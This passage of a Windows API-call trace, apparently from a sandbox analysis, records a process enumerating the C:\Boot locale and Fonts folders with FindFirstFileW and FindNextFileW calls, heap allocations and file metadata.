ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0164.769] GetProcessHeap () returned 0x6a0000 [0164.769] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.770] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.770] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.770] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.770] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.770] GetProcessHeap () returned 0x6a0000 [0164.770] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.770] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0164.771] GetProcessHeap () returned 0x6a0000 [0164.771] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.771] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.771] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.771] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.771] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.771] GetProcessHeap () returned 0x6a0000 [0164.771] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.771] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0164.771] GetProcessHeap () returned 0x6a0000 [0164.771] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.771] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.772] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.772] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.772] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.772] GetProcessHeap () returned 0x6a0000 [0164.772] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.772] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0164.772] GetProcessHeap () returned 0x6a0000 [0164.772] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.772] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.772] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.772] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.772] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.772] GetProcessHeap () returned 0x6a0000 [0164.773] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.773] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0164.773] GetProcessHeap () returned 0x6a0000 [0164.773] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.773] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.773] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.773] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0164.773] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0164.773] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.774] GetProcessHeap () returned 0x6a0000 [0164.774] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.774] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0164.774] GetProcessHeap () returned 0x6a0000 [0164.774] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.774] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.774] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.774] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.774] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.774] GetProcessHeap () returned 0x6a0000 [0164.774] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.774] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0164.775] GetProcessHeap () returned 0x6a0000 [0164.775] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.775] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.775] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.775] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.775] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.775] GetProcessHeap () returned 0x6a0000 [0164.775] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.775] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0164.775] GetProcessHeap () returned 0x6a0000 [0164.775] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.776] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.776] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0164.776] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0164.776] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, 